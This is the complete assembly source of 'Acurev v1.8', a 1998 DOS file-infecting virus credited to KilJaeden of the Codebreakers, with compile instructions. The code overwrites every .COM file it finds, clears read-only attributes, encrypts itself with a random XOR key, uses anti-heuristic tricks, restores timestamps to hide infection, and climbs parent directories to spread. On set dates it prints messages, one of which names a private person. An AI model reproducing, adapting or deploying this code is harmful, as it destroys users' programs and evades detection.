; ------------------------------------------------------------------------- ; ; Acurev v1.8 coded by KilJaeden of the Codebreakers 1998 ; ; ------------------------------------------------------------------------- ; ; Description: ; ; ; ; v1.0 - start with a simple *.com overwritter ; ; v1.1 - add XOR encryption ohhh yeah :) ; ; v1.2 - add restoring time/date stamps ; ; v1.3 - now we can infect even read only files! hah! ; ; v1.4 - why infect only one directory when you can do many? hehe ; ; v1.5 - add Anti-Heuristic tricks yehaw! ; ; v1.6 - display a message on girlfriends bday ; ; v1.7 - display a different message every saturday ; ; v1.8 - make it 666 bytes big hehe ; ; ------------------------------------------------------------------------- ; ; to compile ::] tasm acurev.asm ; ; to link :::::] tlink /t acurev.obj ; ; ------------------------------------------------------------------------- ; code segment ; name our segment "code" assume cs:code,ds:code ; assign CS and DS to code org 100h ; this is a .com file now start: mov cx,0FFFFh ; mmmmmmmm anti-heuristics anti_one: jmp anti_two ; jump to anti_two mov ax,4c00h ; terminate program call do_int21 ; terminate this shit anti_two: loop anti_one ; loop anti_one heh ;xor_start: lea si,encrypted ; SI points to encrypted area start mov di,si ; mov SI to DI mov cx,finished-encrypted ; # of bytes in encrypted area call encryption ; call the encryption routine jmp encrypted ; jump to start of encrypted area encryption: lodsb ; load a byte xor al,byte ptr [decrypt] ; xor the byte with our key stosb ; return the byte loop encryption ; loop until done ret ; return from call decrypt db 0 ; decryption key value 0 encrypted: mov ah,4eh ; find the first file get: xor cx,cx ; cx to 0 lea dx,comfile ; load *.com string call do_int21 ; and get the first .com jc new_dir ; no more .com? new dir mov dx,9eh ; get the file name info mov ax,4301h ; set file attributes xor cx,cx ; to absolutely none call do_int21 ; can infect read only files now! mov ax,3d02h ; open the file read / write mov dx,9eh ; get the file name info call do_int21 ; open it / get file info now xchg bx,ax ; move the file info to BX mov ax,5700h ; get time / date stamps call do_int21 ; get them now mov time,dx ; save the value here mov date,cx ; and save the value here in al,40h ; get a random value from clock mov byte ptr [decrypt],al ; save the value as our key lea si,encrypted ; load the start of encrypted area lea di,finished ; load the end of encrypted area mov cx,finished-encrypted ; total # of bytes between them call encryption ; and encrypt them now mov ah,40h ; write to file mov cx,encrypted-start ; total # of bytes to write lea dx,start ; and start writting from here call do_int21 ; write diz shitz man! mov ah,40h ; write to file mov cx,finished-encrypted ; total # of bytes to write lea dx,finished ; and write from here call do_int21 ; write it man! mov ax,5701h ; restore time/date mov dx,time ; from this value mov cx,date ; and this value call do_int21 ; restore it now mov ah,3eh ; close the file call do_int21 ; do it man! mov ah,4fh ; find the next file jmp get ; and jump back to get new_dir: lea dx,dot_dot ; load .. into dx mov ah,3bh ; change directories routine call do_int21 ; change the directory jnc encrypted ; and lets go again baby ;payload1: mov ah,2ah ; get the system time call do_int21 ; get the time now cmp dh,07 ; is it July? jne saturday ; is it saturday tho? cmp dl,16 ; is it the 16th? jne saturday ; nope, skip payload :( ;payload: mov ah,09h ; print a message lea dx,bdaymsg ; load the message call do_int21 ; print the message saturday: mov ah,2ah ; get the system time call do_int21 ; get the time now cmp al,006h ; is it saturday? jne end_virus ; naw, end the virus ;satpload: mov ah,09h ; print another message lea dx,satdmsg ; the saturday message call do_int21 ; print this shit! end_virus: int 20h ; end the virus do_int21: int 21h ; do the int 21h ret ; return from call ;data_area: satdmsg db '',10,13 db 'Acurev v1.8 coded by KilJaeden of the Codebreakers on 05/29/98',10,13 db '',10,13 db ' --> How Can You Think Freely In The Shadow Of A Church? <--',10,13 db ' --> You Cannot Sedate, All The Things You Hate <--',10,13 db '',10,13 db ' --> Your Infected <--',10,13,'$' bdaymsg db '',10,13 db ' Happy Birthday Christine Moore *kiss* I''ll be home',10,13 db ' In less then a month now... June29th, Can''t wait!!',10,13,'$' time dw 0h ; some space for the time date dw 0h ; some space for the date dot_dot db "..",0 ; changeing directories comfile db "*.com",0 ; load up *.com hehe db 100 dup (90h) ; make it 666 bytes finished label near ; just a label man code ends ; end code segment end start ; end / where to start ; ------------------------------------------------------------------------- ; ; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ; ; ------------------------------------------------------------------------- ;